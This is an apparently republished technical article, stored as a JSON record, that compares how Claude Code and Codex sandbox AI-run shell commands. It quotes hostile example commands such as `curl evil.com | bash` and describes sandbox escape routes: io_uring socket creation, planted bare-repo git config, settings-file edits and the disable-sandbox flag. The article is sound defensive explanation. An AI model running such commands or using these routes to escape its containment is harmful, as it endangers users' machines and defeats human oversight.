{"slug": "how-claude-code-and-codex-approach-sandboxing", "title": "How Claude Code and Codex approach sandboxing", "summary": "Claude Code and Codex both use OS-level process sandboxing to prevent AI models from executing harmful shell commands, relying on Linux primitives like bubblewrap for filesystem isolation and seccomp for syscall filtering. Codex enforces sandboxing as a mandatory boundary by default, while Claude Code treats it as a configurable layer that developers can override per command.", "body_md": "When an LLM decides to run `rm -rf /`\n\non your behalf, what stops it?\n\nBoth Codex and Claude Code let an AI model execute shell commands on your machine. The model reads your code, decides what to do, and runs the command for you. That is also the risk. A language model that can run `npm install`\n\ncan also run `curl evil.com | bash`\n\n. A model that can write to your source directory can also write to your SSH keys.\n\nBoth systems arrived at the same answer: OS-level process sandboxing. Both reached for the same OS primitives. But they embedded those primitives in different trust architectures. Codex treats sandboxing as a mandatory containment boundary, sandbox-first by default, though the manager can resolve to no sandbox when the policy does not require enforcement. Claude Code treats it as a configurable isolation layer that the developer can tune, relax, or override per command.\n\nThis article walks through the complete sandbox flow in both systems, from the moment the LLM emits a shell command to the moment the result comes back.\n\n## 1. Background: The OS Primitives\n\nIf you have used Docker, you have already used some of these primitives indirectly. Docker containers use Linux namespaces (the same mechanism bubblewrap uses) to isolate processes. The concepts below are the lower-level building blocks that both Docker and these sandboxing systems build on.\n\n### Bubblewrap: filesystem isolation on Linux\n\nBubblewrap (`bwrap`\n\n) creates a fake view of the filesystem for a process: a read-only copy of your hard drive where only certain folders are writable.\n\nIt does this by creating Linux *namespaces*, isolated environments for different system resources. A mount namespace gives the process its own filesystem view. A PID namespace hides other processes. A network namespace isolates the process from the host network stack. A user namespace prevents privilege escalation.\n\nFlags that both systems use:\n\n`--ro-bind / /`\n\nmounts the entire host filesystem as read-only inside the sandbox.`--bind`\n\nre-mounts a specific path as writable on top of the read-only base.`--unshare-net`\n\ncreates a fresh network namespace, isolating the process from the host network.`--tmpfs`\n\nmounts an empty temporary filesystem, hiding whatever was at that path.`--dev /dev`\n\nand`--proc /proc`\n\nprovide minimal device nodes and process information.\n\nBoth Codex and Claude Code invoke the same `bwrap`\n\nbinary. Codex builds its argument list in Rust. Claude Code builds it in TypeScript.\n\n### Seccomp/BPF: syscall filtering on Linux\n\nIf bubblewrap controls what a process can *see*, seccomp controls what a process can *do*. Seccomp (Secure Computing) installs a BPF (Berkeley Packet Filter) program in the kernel that intercepts every system call the process makes. If the syscall matches a blocked rule, the kernel returns `EPERM`\n\nbefore the operation executes. A firewall for system calls instead of network ports.\n\nBoth systems block the same critical syscalls:\n\n: Linux's io_uring subsystem can perform operations (including creating sockets) in kernel context without going through the`io_uring_setup`\n\n,`io_uring_enter`\n\n,`io_uring_register`\n\n`socket()`\n\nsyscall. A process could bypass seccomp's socket-blocking rules entirely. Both teams independently identified this evasion vector and block all three io_uring syscalls.: Rather than blocking all sockets, both systems use BPF argument inspection to filter by address family, but the direction depends on the network mode. Codex in restricted mode allows only`socket()`\n\nwith conditional filtering`AF_UNIX`\n\n(local IPC) while blocking`AF_INET`\n\n/`AF_INET6`\n\n(network). In proxy-routed mode, Codex reverses this: allows`AF_INET`\n\n/`AF_INET6`\n\n(so traffic can reach the local TCP bridge to the proxy) while blocking`AF_UNIX`\n\n(preventing bypass of the proxy). Claude Code's seccomp filter follows the proxy-routed pattern: blocks`AF_UNIX`\n\nand allows`AF_INET`\n\n/`AF_INET6`\n\n, routing all traffic through its socat TCP bridge.\n\nBefore installing a seccomp filter, the process must call `prctl(PR_SET_NO_NEW_PRIVS)`\n\nto ensure it cannot regain privileges through setuid binaries. Codex compiles its BPF program via the `seccompiler`\n\ncrate in Rust. Claude Code uses a precompiled C binary (`apply-seccomp`\n\n) built with `libseccomp`\n\n.\n\n### Seatbelt: kernel-level sandboxing on macOS\n\nmacOS has its own sandboxing system called Seatbelt. It works at the kernel level through the TrustedBSD mandatory access control framework: once a policy is applied to a process, every file open, network connection, process spawn, and IPC operation is checked against the policy before the kernel allows it. There is no userspace hook to intercept or bypass. The policy language is SBPL (Sandbox Profile Language), a DSL with Scheme-like syntax where you declare what a process is allowed to do and the kernel denies everything else. You invoke `sandbox-exec -p `\n\nto run a command under a given profile.\n\nApple deprecated `sandbox-exec`\n\nin macOS 10.15, but the underlying kernel enforcement is still active and widely used. Chromium, VS Code, and both systems in this article rely on it in production.\n\nEvery Seatbelt policy in both systems starts the same way:\n\n```\n(version 1)\n(deny default)\n```\n\nThis means: *deny everything by default*. Then the policy adds explicit allowances:\n\n```\n(allow file-read* (subpath \"/usr\"))            ; read system libraries\n(allow file-write* (subpath \"/workspace\"))      ; write to workspace\n(allow network-outbound (remote ip \"localhost:3128\"))  ; proxy only\n```\n\nBoth systems use the `-D KEY=VALUE`\n\nparameterization pattern to inject paths into the SBPL template, avoiding path injection vulnerabilities. Codex assembles its SBPL profiles in Rust. Claude Code assembles them in TypeScript.\n\n## 2. The Two Architectures at a Glance\n\n| Dimension | Codex | Claude Code |\n|---|---|---|\n| Default posture | Sandbox-first, always evaluated, but may resolve to no sandbox | Opt-in, sandbox is configurable |\n| Policy granularity | 4-variant Rust enum (`SandboxPolicy` ) |\n5-layer JSON settings merge |\n| Scope | Session/turn, all commands share policy | Per-command, each command is evaluated |\n| When active | Always, when policy requires it | When enabled + not excluded |\n| On block | Escalation protocol → user approval dialog | Violation logged → surfaced in REPL |\n| Platform support | macOS, Linux, Windows | macOS, Linux |\n\nThe analogy for web developers: Codex is like a mandatory `Content-Security-Policy`\n\nheader where the server enforces it and the client cannot opt out. Claude Code is like a configurable CSP that the developer can relax per request when they know what they are doing.\n\n``` php\nflowchart LR\n  subgraph Codex[\"Codex\"]\n    C1[\"LLM emits tool call\"] --> C2[\"SandboxPolicy\\nenum evaluated\"]\n    C2 --> C3[\"should_require_\\nplatform_sandbox()?\"]\n    C3 --> C4[\"SandboxManager\\n::transform()\"]\n    C4 --> C5[\"Rewritten argv\\nexecuted\"]\n    C5 --> C6{\"Blocked?\"}\n    C6 -->|yes| C7[\"EscalateRequest\\n→ user approval\"]\n    C6 -->|no| C8[\"Result returned\"]\n    C7 --> C8\n  end\n\n  subgraph CC[\"Claude Code\"]\n    Q1[\"LLM emits tool call\"] --> Q2[\"shouldUseSandbox()\"]\n    Q2 -->|yes| Q3[\"SandboxManager\\n.wrapWithSandbox()\"]\n    Q2 -->|no| Q4[\"Execute directly\"]\n    Q3 --> Q5[\"Wrapped command\\nexecuted\"]\n    Q5 --> Q6[\"cleanupAfterCommand()\"]\n    Q4 --> Q7[\"Result returned\"]\n    Q6 --> Q7\n  end\n```\n\n## 3. End-to-End Walkthrough: Codex\n\n### Stage 1: Policy selection\n\nEvery Codex session starts with a `SandboxPolicy`\n\n, a Rust enum with four variants that describes what the user intends to permit:\n\n: No restrictions. The command runs unsandboxed. This variant exists so the type system forces every code path to handle the \"no sandbox\" case explicitly.`DangerFullAccess`\n\n: Read-only filesystem access. Carries an`ReadOnly`\n\n`access`\n\nfield (full-disk or restricted to specific roots) and a`network_access`\n\nboolean.: The workspace is writable, plus optionally additional`WorkspaceWrite`\n\n`writable_roots`\n\n. Also carries read-only access settings, network access, and temp directory exclusion flags.: The process is already inside an external sandbox (like a container). Codex skips its own sandboxing but still enforces network policy.`ExternalSandbox`\n\nFilesystem and network access are modeled as independent dimensions (`FileSystemSandboxPolicy`\n\nand `NetworkSandboxPolicy`\n\n) so the system can express \"writable filesystem with no network\" or \"read-only filesystem with proxy-routed network\" without a combinatorial explosion.\n\n```\npub enum SandboxPolicy {\n    DangerFullAccess,\n    ReadOnly {\n        access: ReadOnlyAccess,\n        network_access: bool,\n    },\n    ExternalSandbox {\n        network_access: NetworkAccess,\n    },\n    WorkspaceWrite {\n        writable_roots: Vec<AbsolutePathBuf>,\n        read_only_access: ReadOnlyAccess,\n        network_access: bool,\n        exclude_tmpdir_env_var: bool,\n        exclude_slash_tmp: bool,\n    },\n}\n```\n\nThe Rust compiler enforces exhaustive matching. Every code path that touches sandbox policy must handle all four variants.\n\n### Stage 2: Backend selection\n\n`SandboxManager::select_initial()`\n\ndecides whether a platform sandbox is needed and which backend to use. It evaluates policy semantics through `should_require_platform_sandbox()`\n\n:\n\n- Managed network requirements active → always sandbox.\n- Network restricted and filesystem is not\n`ExternalSandbox`\n\n→ sandbox. - Filesystem\n`Restricted`\n\nwith less than full disk write → sandbox. - Filesystem\n`Unrestricted`\n\nor`ExternalSandbox`\n\n→ no sandbox needed.\n\nThe caller can override with `SandboxablePreference`\n\n: `Auto`\n\n(use the decision logic), `Require`\n\n(always sandbox), or `Forbid`\n\n(never sandbox). Once the manager decides a sandbox is needed, `get_platform_sandbox()`\n\nselects the backend: `MacosSeatbelt`\n\non macOS, `LinuxSeccomp`\n\non Linux, `WindowsRestrictedToken`\n\non Windows.\n\n### Stage 3: Command transformation\n\n`SandboxManager::transform()`\n\nrewrites the command's argv into a sandboxed invocation:\n\n**macOS**: The original command becomes arguments to`/usr/bin/sandbox-exec -p`\n\n.**Linux**: The original command becomes trailing arguments to the`codex-linux-sandbox`\n\nhelper binary, which orchestrates bubblewrap and seccomp.**Windows**: The command passes through mostly unchanged. Windows enforcement happens at the process token level via`CreateRestrictedToken`\n\n.\n\n### Stage 4: OS enforcement\n\nOn Linux, enforcement uses a three-stage pipeline:\n\n**Outer stage**: The helper binary parses the policy, prepares the proxy routing bridge if needed, and invokes bubblewrap.** Bubblewrap stage**: Creates the filesystem namespace with layered mounts. Read-only root, then device nodes, then writable roots, then protected subpath carve-outs.**Inner stage**: Re-enters the helper binary inside the sandbox. Sets`PR_SET_NO_NEW_PRIVS`\n\n, installs the seccomp BPF filter (blocking`ptrace`\n\n,`io_uring_*`\n\n, and conditional socket filtering), activates proxy routing, and`execvp()`\n\ninto the final command.\n\nOn macOS, the base Seatbelt policy starts with `(deny default)`\n\nand then adds allowances for process execution, filesystem access, and network proxy ports.\n\n### Stage 5: Escalation on block\n\nWhen a sandboxed command hits a blocked operation, the runtime intercepts the blocked `execve()`\n\ncall through a patched shell and emits an `EscalateRequest`\n\ncontaining the command, argv, working directory, and environment. This request flows through the typed protocol to the user-facing surface, which presents an approval dialog.\n\nThe user chooses from three outcomes via `EscalateAction`\n\n: `Run`\n\n(execute directly), `Escalate`\n\n(re-execute with broader permissions, unsandboxed, with turn defaults, or with custom permissions), or `Deny`\n\n(block and report reason).\n\n## 4. End-to-End Walkthrough: Claude Code\n\n### Stage 1: Configuration merge\n\nClaude Code's sandbox configuration is assembled from up to five sources, merged in strict priority order:\n\n**policySettings**(highest): Enterprise-managed policy via MDM. Cannot be overridden.** flagSettings**: Settings from the`--settings`\n\nCLI flag.**localSettings**:`.claude/settings.local.json`\n\n(gitignored, per-developer overrides).**projectSettings**:`.claude/settings.json`\n\nin the workspace (shared, committed).**userSettings**(lowest):`~/.claude/settings.json`\n\n(global user defaults).\n\nThe merged `sandbox`\n\nconfiguration has enablement flags directly at the top level (`sandbox.enabled`\n\n, `sandbox.failIfUnavailable`\n\n, `sandbox.allowUnsandboxedCommands`\n\n) and two nested sub-sections: `sandbox.filesystem`\n\n(four path lists: `allowWrite`\n\n, `denyWrite`\n\n, `denyRead`\n\n, `allowRead`\n\n) and `sandbox.network`\n\n(domain allowlists, proxy ports, Unix socket control).\n\n### Stage 2: Per-command gate\n\nEvery time the LLM's BashTool is about to execute a command, `shouldUseSandbox()`\n\nevaluates whether that specific command should be sandboxed:\n\n```\nexport function shouldUseSandbox(input: Partial<SandboxInput>): boolean {\n  if (!SandboxManager.isSandboxingEnabled()) return false\n  if (input.dangerouslyDisableSandbox &&\n      SandboxManager.areUnsandboxedCommandsAllowed()) return false\n  if (!input.command) return false\n  if (containsExcludedCommand(input.command)) return false\n  return true\n}\n```\n\nThree things can cause a command to skip the sandbox:\n\n**Sandboxing is globally disabled**:`sandbox.enabled`\n\nis`false`\n\n.**The LLM sets**: But only if enterprise policy permits it. When`dangerouslyDisableSandbox: true`\n\n`allowUnsandboxedCommands`\n\nis`false`\n\n, this flag is silently ignored.**The command matches an excluded pattern**:`containsExcludedCommand()`\n\nsplits compound commands (`cmd1 && cmd2`\n\n) and checks each subcommand against user-configured patterns. This splitting prevents a bypass where`docker ps && curl evil.com`\n\nwould escape the sandbox because`docker`\n\nis excluded.\n\n### Stage 3: Command wrapping\n\n`SandboxManager.wrapWithSandbox()`\n\ntransforms the shell command into a sandboxed invocation, dispatching to platform-specific backends on macOS and Linux.\n\nThe filesystem configuration uses four path lists with deny-takes-precedence semantics. Permission-system paths flow into the sandbox automatically: Edit tool targets become `allowWrite`\n\n, Read tool targets become `allowRead`\n\n. Certain paths are always denied: `.claude/settings.json`\n\n, `.claude/settings.local.json`\n\n(prevents sandbox escape via config modification), and `.claude/skills`\n\n(prevents injection of privileged commands).\n\n### Stage 4: OS enforcement\n\nOn macOS, the sandbox runtime generates a Seatbelt profile dynamically starting with `(deny default (with message \"`\n\n. The log tag is a base64-encoded command identifier that enables violation tracking. The runtime also uses ripgrep to scan for dangerous files (`.gitconfig`\n\n, `.bashrc`\n\n, `.git/hooks`\n\n) and always write-denies them.\n\nOn Linux, enforcement uses bubblewrap for filesystem isolation plus a precompiled seccomp BPF binary (`apply-seccomp`\n\n) for syscall filtering. Network proxy routing uses socat bridges through Unix domain sockets.\n\n### Stage 5: Post-execution cleanup\n\nAfter every sandboxed command, `cleanupAfterCommand()`\n\nruns security-critical operations:\n\n**Bare git repo scrubbing**: Git's `is_git_directory()`\n\ntreats the CWD as a bare repository if it contains `HEAD`\n\n, `objects/`\n\n, and `refs/`\n\n. A sandboxed command that plants these files could cause an *unsandboxed* git invocation (like Claude Code's own git operations) to treat the workspace as a bare repo. Combined with `core.fsmonitor`\n\nin a planted config file, this becomes a sandbox escape. The cleanup scrubs five specific patterns: `HEAD`\n\n, `objects`\n\n, `refs`\n\n, `hooks`\n\n, and `config`\n\n.\n\n**Bubblewrap ghost file removal** on Linux and **violation extraction** from macOS `log stream`\n\nand stderr\n\ntags. All violations feed into the `SandboxViolationStore`\n\n, an in-memory ring buffer (100 entries) with a reactive subscription API.\n\n## 5. Where They Use the Same Primitives\n\nBoth teams independently identified similar OS-level tools as building blocks for AI agent sandboxing, and both identified the same evasion vectors to defend against. The Linux containment models differ materially: Codex combines bubblewrap with shell-escalation plumbing, while Claude Code adds proxy-mediated domain filtering and optional seccomp loading.\n\n### Seatbelt SBPL generation\n\nBoth systems start from `(deny default)`\n\nand build up an allowlist. Both use `-D KEY=VALUE`\n\nparameterization to inject paths safely. Both reference Chrome's sandbox policy as inspiration.\n\n### Bubblewrap mount ordering\n\nBoth systems mount the host root as the base filesystem, then layer restrictions on top. Codex uses `--bind / /`\n\n(read-write root) and overlays read-only restrictions. Claude Code uses `--ro-bind / /`\n\n(read-only root) when write restrictions are configured, or `--bind / /`\n\nwhen they are not. Both use `--unshare-net`\n\nfor network isolation.\n\n### Seccomp io_uring blocking\n\nBoth systems block the same three syscalls (`io_uring_setup`\n\n, `io_uring_enter`\n\n, `io_uring_register`\n\n) for the same reason. Linux 5.19 added `IORING_OP_SOCKET`\n\n, which creates sockets in kernel context bypassing seccomp. Both teams independently identified this:\n\n**Codex (Rust):**\n\n```\ndeny_syscall(&mut rules, libc::SYS_ptrace);\ndeny_syscall(&mut rules, libc::SYS_io_uring_setup);\ndeny_syscall(&mut rules, libc::SYS_io_uring_enter);\ndeny_syscall(&mut rules, libc::SYS_io_uring_register);\n```\n\n**Claude Code (C):**\n\n```\n/* Block io_uring entirely. IORING_OP_SOCKET (Linux 5.19+) creates sockets\n * in kernel context without going through the socket() syscall, bypassing\n * the rule above. */\nint io_uring_calls[] = {\n    SCMP_SYS(io_uring_setup),\n    SCMP_SYS(io_uring_enter),\n    SCMP_SYS(io_uring_register),\n};\n```\n\n### Network proxy bridge\n\nBoth systems use Unix domain socket bridges to route sandboxed network traffic through a managed proxy. On the host side, a bridge process listens on a Unix socket and forwards to the actual proxy TCP port. Inside the sandbox, a reverse bridge forwards to the Unix socket. Codex implements this in Rust. Claude Code uses socat processes.\n\n```\nflowchart TB\n  subgraph shared[\"Shared OS Primitives\"]\n    bwrap[\"bubblewrap\\n(filesystem namespaces)\"]\n    seccomp[\"seccomp BPF\\n(syscall filtering)\"]\n    proxy[\"Unix socket bridge\\n(proxy routing)\"]\n  end\n\n  subgraph codex_impl[\"Codex Implementation\"]\n    ch[\"Rust helper binary\\n(codex-linux-sandbox)\"]\n    ch --> bwrap\n    ch --> seccomp\n    ch --> proxy\n  end\n\n  subgraph cc_impl[\"Claude Code Implementation\"]\n    sr[\"sandbox-runtime\\n(Node.js + TypeScript)\"]\n    as[\"apply-seccomp\\n(compiled C binary)\"]\n    sc[\"socat bridges\\n(shell processes)\"]\n    sr --> bwrap\n    as --> seccomp\n    sc --> proxy\n  end\n```\n\n## 6. Where They Diverge\n\n### Mandatory vs. opt-in\n\nCodex's sandbox is sandbox-first: `should_require_platform_sandbox()`\n\nis always evaluated, no per-command opt-out. The manager can resolve to `SandboxType::None`\n\nwhen policy semantics do not require enforcement.\n\nClaude Code's sandbox is configurable at every level: per project (`sandbox.enabled`\n\n), per command (`dangerouslyDisableSandbox`\n\n), and per command pattern (`excludedCommands`\n\n).\n\n**Tradeoff**: Codex optimizes for guaranteed containment. Claude Code optimizes for developer control.\n\n### Session-level vs. per-command scope\n\nCodex selects the sandbox type once per session or turn. All commands share the same restrictions.\n\nClaude Code evaluates `shouldUseSandbox()`\n\nfor every BashTool invocation. Each command can have different sandbox behavior.\n\n**Tradeoff**: Codex optimizes for consistency. Claude Code optimizes for granularity.\n\n### Escalation vs. transparency\n\nWhen Codex's sandbox blocks a command, the runtime creates an `EscalateRequest`\n\nand routes it through a structured approval protocol. The user sees a decision point.\n\nWhen Claude Code's sandbox blocks a command, the violation is logged, stored in `SandboxViolationStore`\n\n, and surfaced in the REPL. The developer sees exactly what was blocked.\n\n**Tradeoff**: Codex optimizes for a closed trust loop. Claude Code optimizes for visibility.\n\n### Network control mechanism\n\nCodex enforces at the kernel level through seccomp BPF socket filtering. Claude Code enforces at the application level through a domain-based proxy allowlist.\n\n**Tradeoff**: Codex is harder to bypass. Claude Code allows richer domain-level decisions.\n\n### Post-execution hardening\n\nCodex does not perform post-execution cleanup. Containment is assumed sufficient. Claude Code runs `cleanupAfterCommand()`\n\nafter every sandboxed command, scrubbing bare repo markers and extracting violations.\n\n**Tradeoff**: Codex trusts in containment. Claude Code adds defense in depth.\n\n| Dimension | Codex | Claude Code |\n|---|---|---|\n| When active | Always (policy-driven) | Opt-in (settings-driven) |\n| Scope | Session/turn | Per-command |\n| On block | Escalation protocol | Violation transparency |\n| Policy format | Rust enum (4 variants) | JSON (5-layer merge) |\n| Network control | Kernel-level syscall filter | App-level domain allowlist |\n| Post-execution | None | Bare repo scrub + ghost cleanup |\n\n## 7. Enterprise and Lockdown\n\n### Claude Code: explicit enterprise controls\n\nBecause Claude Code's sandbox is opt-in by default, enterprise deployments need explicit lockdown:\n\n: Only enterprise-configured domains are respected.`allowManagedDomainsOnly`\n\n: Same for filesystem read paths.`allowManagedReadPathsOnly`\n\n: Silently ignores the`allowUnsandboxedCommands: false`\n\n`dangerouslyDisableSandbox`\n\nflag.: Refuse to execute if sandbox cannot be engaged.`failIfUnavailable`\n\n: Restrict sandbox to specific platforms.`enabledPlatforms`\n\nThe `policySettings`\n\nlayer is the highest-priority merge layer. Nothing below it can override it.\n\n### Codex: implicit enterprise model\n\nCodex does not need lockdown flags because its default is already strict. The enterprise controls are structural: `SandboxablePreference::Require`\n\nforces sandboxing, and the Windows backend rejects permissive policies. Execution policies via `requirements.toml`\n\nand MDM/cloud-backed `ConfigRequirements`\n\nprovide per-command allow/deny rules.\n\n## 8. Why They Sandbox Differently\n\n**Product context.** Codex is a multi-surface runtime designed to be embedded in different clients (CLI, IDE extensions, desktop app, cloud backends). Mandatory sandboxing protects all surfaces uniformly. Claude Code is an integrated developer tool where the user directly controls the environment. Configurability matches the single-surface model.\n\n**Trust philosophy.** Codex places trust in the runtime's approval protocol. Claude Code places trust in the developer's ability to observe and adjust.\n\nBoth systems achieve the same security goal: preventing an LLM from executing arbitrary operations on the developer's machine. They use similar OS-level primitives. They differ in where they place the control surface. Codex places it inside the runtime, enforced by typed contracts and an escalation protocol. Claude Code places it in front of the developer, configured through layered settings and made visible through violation tracking.", "url": "https://wpnews.pro/news/how-claude-code-and-codex-approach-sandboxing", "canonical_source": "https://instavm.io/blog/how-claude-code-and-codex-approach-sandboxing", "published_at": "2026-06-29 17:03:47+00:00", "updated_at": "2026-06-29 17:20:03.613430+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "large-language-models"], "entities": ["Claude Code", "Codex", "bubblewrap", "Linux", "seccomp", "BPF", "Docker"], "alternates": {"html": "https://wpnews.pro/news/how-claude-code-and-codex-approach-sandboxing", "markdown": "https://wpnews.pro/news/how-claude-code-and-codex-approach-sandboxing.md", "text": "https://wpnews.pro/news/how-claude-code-and-codex-approach-sandboxing.txt", "jsonld": "https://wpnews.pro/news/how-claude-code-and-codex-approach-sandboxing.jsonld"}}